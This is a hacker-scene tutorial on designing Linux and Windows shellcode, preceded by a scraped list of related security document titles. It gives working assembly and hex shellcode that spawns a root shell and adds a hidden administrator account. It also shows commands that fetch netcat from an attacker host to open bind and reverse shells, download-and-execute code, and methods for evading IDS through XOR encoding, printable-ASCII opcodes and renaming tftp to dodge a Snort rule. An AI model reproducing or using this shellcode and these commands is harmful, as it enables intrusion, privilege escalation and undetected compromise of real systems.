Practical Windows and Linux Shellcode design by Nomenumbra. 0x00) Intro



Similar documents
For a 64-bit system. I - Presentation Of The Shellcode

Format string exploitation on windows Using Immunity Debugger / Python. By Abysssec Inc

Hacking Techniques & Intrusion Detection. Ali Al-Shemery arabnix [at] gmail

1. General function and functionality of the malware

Unix Security Technologies. Pete Markowsky <peterm[at] ccs.neu.edu>

Return-oriented programming without returns

WLSI Windows Local Shellcode Injection. Cesar Cerrudo Argeniss (

64-Bit NASM Notes. Invoking 64-Bit NASM

Bypassing Anti- Virus Scanners

Violating Database - Enforced Security Mechanisms

Stack Overflows. Mitchell Adair

Attacking x86 Windows Binaries by Jump Oriented Programming

Penetration Testing Walkthrough

SECUREIT.CO.IL. Tutorial. NetCat. Security Through Hacking. NetCat Tutorial. Straight forward, no nonsense Security tool Tutorials

Abysssec Research. 1) Advisory information. 2) Vulnerable version

IDS and Penetration Testing Lab III Snort Lab

TitanMist: Your First Step to Reversing Nirvana TitanMist. mist.reversinglabs.com

Attacking Host Intrusion Prevention Systems. Eugene Tsyrklevich

Detecting Anonymous Proxy Usage

Software Fingerprinting for Automated Malicious Code Analysis

Title: Bugger The Debugger - Pre Interaction Debugger Code Execution

System Security Fundamentals

Fighting malware on your own

Using fuzzing to detect security vulnerabilities

Network Security, ISA 656, Angelos Stavrou. Snort Lab

Assembly Language: Function Calls" Jennifer Rexford!

CS412/CS413. Introduction to Compilers Tim Teitelbaum. Lecture 20: Stack Frames 7 March 08

Practical taint analysis for protecting buggy binaries

Introduction to Reverse Engineering

Linux exploit development part 2 (rev 2) - Real app demo (part 2)

INTRODUCTION TO MALWARE & MALWARE ANALYSIS

Computer Organization and Architecture

Custom Penetration Testing

Hide and seek - how targeted attacks hide behind clean applications Szappanos Gábor

Buffer Overflows. Security 2011

Windows XP SP3 Registry Handling Buffer Overflow

PuttyRider. With great power comes great responsibility. # Pivoting from Windows to Linux in a penetration test. Adrian Furtunã, PhD adif2k8@gmail.

CVE Adobe Flash Player Integer Overflow Vulnerability Analysis

From Georgia, with Love Win32/Georbot. Is someone trying to spy on Georgians?

telnetd exploit FreeBSD Telnetd Remote Exploit Für Compass Security AG Öffentliche Version 1.0 Januar 2012

Test Driven Development in Assembler a little story about growing software from nothing

Off-by-One exploitation tutorial

This report is a detailed analysis of the dropper and the payload of the HIMAN malware.

Systems Design & Programming Data Movement Instructions. Intel Assembly

Syscall Proxying - Simulating remote execution Maximiliano Caceres <maximiliano.caceres@corest.com> Copyright 2002 CORE SECURITY TECHNOLOGIES

The Windows Shortcut File Format as reverse-engineered by Jesse Hager Document Version 1.0

Application-Specific Attacks: Leveraging the ActionScript Virtual Machine

The Beast is Resting in Your Memory On Return-Oriented Programming Attacks and Mitigation Techniques To appear at USENIX Security & BlackHat USA, 2014

How To Make A Backdoor On Windows Server From A Remote Computer From A Command Prompt On A Windows 2 Computer (Windows) On A Pc Or Ipad (Windows 2) On An Ipad Or Ipa (Windows 3) On Your Pc Or

Hotpatching and the Rise of Third-Party Patches

Exercise 7 Network Forensics

Lab 4: Socket Programming: netcat part

Self Protection Techniques in Malware

Intrusion Detection and Prevention

1 hours, 30 minutes, 38 seconds Heavy scan. All scanned network resources. Copyright 2001, FTP access obtained

Thick Client Application Security

Bypassing Windows Hardware-enforced Data Execution Prevention

Sage 50 Payroll 2012 Authentication Bypass

風 水. Heap Feng Shui in JavaScript. Alexander Sotirov.

Where s the FEEB? The Effectiveness of Instruction Set Randomization

The full setup includes the server itself, the server control panel, Firebird Database Server, and three sample applications with source code.

Still Aren't Doing. Frank Kim

Stitching the Gadgets On the Ineffectiveness of Coarse-Grained Control-Flow Integrity Protection

Introduction to Operating Systems

MS Outlook to Unix Mailbox Conversion mini HOWTO

Threat Advisory: Trivial File Transfer Protocol (TFTP) Reflection DDoS

Troubleshooting / FAQ

User Profile Manager 2.6

What Happens In Windows 7 Stays In Windows 7

Penetration Testing with Kali Linux

Persist It Using and Abusing Microsoft s Fix It Patches

esrever gnireenigne tfosorcim seiranib

Introduction. Figure 1 Schema of DarunGrim2

Heap-based Buffer Overflow Vulnerability in Adobe Flash Player

There s a kernel security researcher named Dan Rosenberg whose done a lot of linux kernel vulnerability research

Vulnerability Assessment and Penetration Testing

Character Translation Methods

(Refer Slide Time: 00:01:16 min)

Hydra. Advanced x86 polymorphic engine. Incorporates existing techniques and introduces new ones in one package. All but one feature OS-independent

A Tiny Guide to Programming in 32-bit x86 Assembly Language

Instruction Set Architecture

How To Hack The Steam Voip On Pc Orchesterian Moonstone 2.5 (Windows) On Pc/Robert Kruber (Windows 2) On Linux (Windows 3.5) On A Pc

Notes on Assembly Language

Web Application Threats and Vulnerabilities Web Server Hacking and Web Application Vulnerability

Vista and ActiveX control

Pre-authentication XXE vulnerability in the Services Drupal module

Attacking Obfuscated Code with IDA Pro. Chris Eagle

Lab exercise: Working with Wireshark and Snort for Intrusion Detection

Demonstration of Windows XP Privilege Escalation Exploit

SY system so that an unauthorized individual can take over an authorized session, or to disrupt service to authorized users.

Intel 8086 architecture

The Plan Today... System Calls and API's Basics of OS design Virtual Machines

MACHINE ARCHITECTURE & LANGUAGE

Understanding Computer Viruses: What They Can Do, Why People Write Them and How to Defend Against Them

An Analysis of Address Space Layout Randomization on Windows Vista

Security: Attack and Defense

W4118 Operating Systems. Junfeng Yang

Unpacked BCD Arithmetic. BCD (ASCII) Arithmetic. Where and Why is BCD used? From the SQL Server Manual. Packed BCD, ASCII, Unpacked BCD

Transcription:

Practical Windows and Linux Shellcode design by Nomenumbra 0x00) Intro Most of the time, the core action preformed when rooting a box is exploitation. But what would an exploit be without shellcode? Nothing.. Shellcode is what makes you want to exploit something. For the people who are new to this shit, shellcode is opcode, machine code. For example, in windows, the assembly instruction push eax is transformed into 0x50. When exploiting something, you manage to trick the target program into executing your shellcode, to take control of the target system. This paper is an introduction to the design of shellcode on both windows and linux platforms. Basic knowledge of exploitation and ASM (x86, both windows and linux) is required. 0x01) Linux shellcode design For demonstration of basic linux shellcode designing techniques we'll assume your linux box runs on an x86processor. Since shellcode gets parsed into a string, we should avoid the prescence of the null-byte (0x00) at ALL cost, since it'll be interpreted as a string-terminator, and we don't want that, now do we? To avoid using the null-byte, we'll sometimes xor values in odd ways, use 8-bit or 16- bit registers when possible rather than32 bit and sometimes uses indirect constructions. For an introduction we'll start with a simple piece of shellcode, one that executes a shell (/bin/sh) with root privileges (assuming the exploited program is running with root priveleges). Systemcall numbers can be found in /usr/include/asm/unistd.h Take a look at the following piece of shellcode: [BITS 32] xor eax,eax ; to use zero values without having null-bytes in our shellcode mov al,70 ; 70 in al (to avoid null-bytes), setreuid systemcall is #70 xor ebx,ebx ; real uid to 0 (root) xor ecx,ecx ; effective uid to 0 (root) int 0x80 jmp short fetch ; fetch address on stack retv: pop ebx ; address of '/bin/shxaaaabbbb' xor eax,eax ; 0 mov [ebx+7],al ; X in the string becomes a null-byte to let /bin/sh serveas the first param of execve mov [ebx+8],ebx ; AAAA becomes address of the string mov [ebx+12],eax ; becomes 0, a null address mov al,11 ; execve's systemcall is #11 lea ecx,[ebx+8] ; address of AAAA (now the address of the string) loaded in ecx lea edx,[ebx+12] ; address of BBBB(now the null-address) loaded in edx int 0x80 fetch: call retv ; push address of '/bin/shxaaaabbbb' on the stack. db '/bin/shxaaaabbbb' ; no terminating 0 byte to avoid null-bytes, add AAAABBBB for ;arguments of execve, which are pointers to pointers, AAAA will contain the 4-byte long address of ;the address of the whole string, while BBBB will be a NULL address

Very nice, we once we get the exploitable program to execute this shellcode it will spawn a rootshell ready for use (this is obviously only usefull for local exploits). Now, something else. Another nice thing to do, to gain quick remote access is by making the target box download some program (for example netcat) and execute it to gain remote access. Instead of executing /bin/sh, we could make execve execute /usr/bin/wget like this: /usr/bin/wget somehost/netcat.exe ; netcat.exe -l -p 31337 -e /bin/sh this will download netcat.exe from somehost, and bind it to port 31337 with inbound execution of /bin/sh to grant a bindshell to anyone who connects to port 31337 on the target box. We could do an endless ammount of things, from chmodding /etc/shadow to 666 to copying /bin/sh to /whatever and chowning it to root, and chmodding is +s to grant a backdoor rootshell to anyone. Or we could add an extra user with adduser (or by directly modifying the /etc/shadow & /etc/passwd file). Another nice thing to do would be to spawn a bindshell without relying on netcat. Other things (like a reverse shell) are relatively easy to do, once you know the syscalls to use and what arguments they require. 0x02) Windows Shellcode design First of all i'd like to make clear Windows shellcode differs A LOT from Linux shellcode. To get something done in Windows we'll have to make use of the Windows api's. There are two ways to use your api's, either by using hardcoded addresses or by using relative addressing. Using hardcoded adresses makes your shellcode a lot smaller, but in some cases more instable, since the location of WinExec on english systems isn't the same as on german systems or spanish systems. Since most shellcode will be transferred or somehow parsed into a string, we must AT ALL COST avoid the prescence of a null-byte (0x00) in our shellcode, since it will be interpreted as a stringterminator, that's why we'll xor a lot of stuff, and use 16 bit regs in favor of 32 bit sometimes. To test your shellcode you should use the following c++ app: BYTE shellcode[] = youshellcodehere ; int main() { void *ad = malloc(10000); memcpy(ad,shellcode,sizeof(shellcode)); asm { mov eax,ad } free(ad); return 0; }; this app will copy the address of the shellcode to ad, then place ad in eax and make a call to eax, so that the shellcode gets executed and returns neatly to the app again. To fetch the hardcoded address of an API we'll use Arwin V.01 by dissonance, a simple app that locates the address of a function in a DLL. We'll start with a simple example, a hello world message. We'll use the following api: MessageBoxA located in user32.dll

ExitProcess located in kernel32.dll C:\shellcode>arwin user32.dll MessageBoxA arwin - win32 address resolution program - by dissonance - v.01 MessageBoxA is located at 0x77d3e824 in user32.dll C:\shellcode>arwin kernel32.dll ExitProcess arwin - win32 address resolution program - by dissonance - v.01 ExitProcess is located at 0x77e59863 in kernel32.dll This address might (very likely will) differ on your box. I'll be using tasm to generate my shellcode..386.model flat.code start: xor eax,eax ; set to 0 jmp short tst ; jump there, to push the address of hi2un on the stack rtv: pop ecx ; address of hi2un mov [ecx+4],al ; make N 0 (string terminator) push eax ; push 0 push ecx ; push offset hi2u,0 push ecx ; push offset hi2u,0 push eax ; push 0 mov eax,77d3e824h ; call MessageBoxA mov eax,77e59863h ; call ExitProcess tst: call rtv ; return db "hi2un" ; message, ending in N to prevent nullbytes in shellcode end start To assemble: tasm32 /mx /m3 /z /q hello.asm tlink32 -x /Tpe /aa /c hello,hello,, import32.lib Nice, one more thing, because tasm doesn't set the executable's.code section properties to writeable, the code can't modify itself in memory, so we'll need to either modify the properties manually or use a tool, I use editbin.exe,which comes with Microsoft Visual C++. Usage: Editbin.exe /SECION:CODE,w hello.exe. Ok, now let's get the shellcode. Fire up OllyDbg and load hello.exe. You'll see the code goes from 0x33 to 0x4E, after that we only have 0x00. Now copy that piece of code (either by fetching it with a hex-editor or directly from OllyDbg) and parse it in a string (I presume you write a quick tool to do this, since it'll take a LOT of time doing it by hand each time) to get this: \x33\xc0\xeb\x16\x59\x88\x41\x04\x50\x51\x51\x50\xb8\x24\xe8\xd3\x77\xff\xd0\xb8\x63\x98\x e5\x77\xff\xd0\xe8\xe5\xff\xff\xff\x68\x69\x32\x75\x4e How nice, our first piece of windows shellcode :D.

Ok, now on to something usefull... There are multiple actions we could preform with our shellcode that would benefit our intrusion. To name some basic things: -)Add extra admin account (nice, but not stealthy) -)Download and execute some file (Rootkit, sniffer, keylogger,etc, etc) -)Spawn bindshell Ok, to add an extra admin account we would execute the following command: cmd.exe /c net user omfg pass /add & net localgroup Administrators /ADD omfg cmd.exe /c uses the windows command shell to execute one or more commands (linked with &) We'd need the address of WinExec, to execute our command. Arwin tells me the address of WinExec is 0x77E4FD60, so our shellcode would look like like follows in asm:.586p.model flat.code start: xor eax,eax ; set to zero jmp short GtSt ; to push address retv: pop ecx mov [ecx+70],al ; zero termination push eax ; push 0 (SW_HIDE) push ecx ; push offset cmd.exe... mov eax,77e4fd60h ; call WinExec mov eax,77e59863h ; call ExitProcess GtSt: call retv db "cmd.exe /c net user 0x ps /ADD & net localgroup Administrators /ADD 0xN" end start This code will add a use 0x (I chose to use a short username and pass to decrease shellcode size) with ps as password as an admin (assuming the exploited process runs with admin privileges). Converted to shellcode it'll look like: \x33\xc0\xeb\x14\x59\x88\x41\x46\x50\x51\xb8\x60\xfd\xe4\x77\xff\xd0\xb8\x63\x98\xe5\x77\xf f\xd0\xe8\xe7\xff\xff\xff\x63\x6d\x64\x2e\x65\x78\x65\x20\x2f\x63\x20\x6e\x65\x74\x20\x75\x73\ x65\x72\x20\x30\x78\x20\x70\x73\x20\x2f\x41\x44\x44\x20\x26\x20\x6e\x65\x74\x20\x6c\x6f\x6 3\x61\x6c\x67\x72\x6f\x75\x70\x20\x41\x64\x6d\x69\x6e\x69\x73\x74\x72\x61\x74\x6f\x72\x73\x 20\x2f\x41\x44\x44\x20\x30\x78\x4e How sexy...

Downloading and executing a file could be done like this: cmd /c tftp -i <somehost> GET somefile.exe somefile.exe & somefile.exe this would download somefile.exe from <somehost> with tftp, put it in the current directory as somefile.exe and execute it. We could do a LOT with this, like: cmd /c tftp -i <somehost> GET netcat.exe netcat.exe & netcat.exe -L -p 1337 -e cmd.exe, which would spawn a bindshell on port 1337 or cmd /c tftp -i <somehost> GET netcat.exe netcat.exe & netcat.exe <attackerbox> 1337 -e cmd.exe which would (if the attacker set up a listening shell (netcat.exe -l -p 1337) on his box) grant him a reverse shell. The variative ammount is endless. But we shouldn't rely on tftp, since we can do this with a simple API too. UrlDownloadToFileA, located in urlmon.dll. The prototype defenition: URLDownloadToFileA ( LPUNKNOWN pcaller, LPCTSTR szurl, LPCTSTR szfilename, DWORD dwreserved, LPBINDSTATUSCALLBACK lpfncb ); assuming ecx would contain the offset of the filename, edx the offset of the url (obtained like we did with the strings used by WinExec) and eax the address of URLDownloadToFileA (obtained with, for example, GetProcAddress), the code would look like: xor ebx, ebx ; ecx = 0 push ebx ; lpfncb push ebx ; dwreserved push ecx ; szfilename push edx ; szurl push ebx ; pcaller ; call URLDownloadToFileA We could do a lot more stuff (like self-replicating shellcode), but I leave that to your fantasy. 0x03) Evading IDS Well, you shellcode is of no use if it gets picked up by an IDS system, and flies a red flag with the admin, so it's important to disguise you shellcode, either by encoding it or by using several other tricks. One way to prevent detection is described in phrack #62 phile 0x07. The banner that gets displayed when we start a shell might be picked up by IDS systems: Microsoft Windows XP [Version 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp. C:\Documents and Settings\username

To avoid getting detected this way we could do cmd /k, effectively eleminating the display of the banner. Another rule tries to detect the dir command by checking for the string Volume Serial Number, we could circumenvent this rule by using dir /b. Let's take a look at an actual snort rule: alert udp $EXTERNAL_NET any -> $HOME_NET 69 (msg:"tftp Get"; content:" 00 01 "; depth:2; classtype:badunknown; sid:1444; rev:3;) This rule checks if TFTP is used to fetch something. To bypass this rule, we could copy C:\windows\system32\tftp.exe to C:\ptft.exe, effectively bypassing this rule. We could do thousands of and more of these things, aimed @ bypassing a single IDS, but it's far more usefull to use a way that's armoured against multiple IDS systems, for example encoding. Encoding your shellcode would go as follows:.386.model flat.code start: jmp short Fcb goback: pop eax mov cl,24 Decrypt: xor byte ptr [eax],2 inc eax loop Decrypt jmp cryptb Fcb: call goback cryptbegin: <etc,etc, your code here> in this example we start at the offset of CryptBegin and decode the next X bytes (the rest of the shellcode) before they are run. To implement this shellcode we'd have to encode all bytes from the address of cryptbegin (in this case with a simple Xor operation). Another method to evade IDS systems is by using ASCII-printable shellcode. When your shellcode looks like normal benign input, most IDS systems won't suspect anything at all. To do this we need to construct our shellcode in a way that it's opcode bytes are printable as characters. That means all bytes must lie within the range of (0x20 -> 0x7E). Xor eax,eax sets eax to 0, but doesn't give us any printable code, so we need to find something else. and eax,454e4f4ah and eax,3a313035h sets eax to 0 and gives us %JONE%501 in opcode, how nice. Some opcode instructions that are ASCII-printable: push eax -> P push ecx -> Q push edx -> R push ebx -> S

push esi -> V push edi -> W pop eax -> X pop ecx -> Y pop edx -> Z pop ebx -> [ pop esi -> ^ pop edi -> _ jb short -> r jnb short -> s je short -> t jne short -> u inc eax -> @ inc ecx -> A inc edx -> B inc ebx -> C etc,etc as you can see, working with the stack gives you a lot of printable ascii code, as does increasing registries if the value you want to put in them isn't ASCII-printable, but a value that is close to it is, and you can use conditional jumps that always evaluate to a jump instead of an unconditional jump. 0x04) Resources Phrack #62, phile 0x07, Advances in windows shellcode, by SK (http://www.phrack.org/phrack/62/p62-0x07_advances_in_windows_shellcode.txt) The shellcoder's handbook, Jack Koziol et al. The Tao of windows buffer overflow, Dildog/cDc (http://www.cultdeadcow.com/cdc_files/cdc-351/index.html) 0x05) Greets && shoutz Greets and shoutz go to the whole HTS community (the REAL community, not the posers) and hacking scene in general. And a big FUCK YOU goes to the whitehat community for being a lame paw of the globalist extortionists and trying to sell out the soul of our community.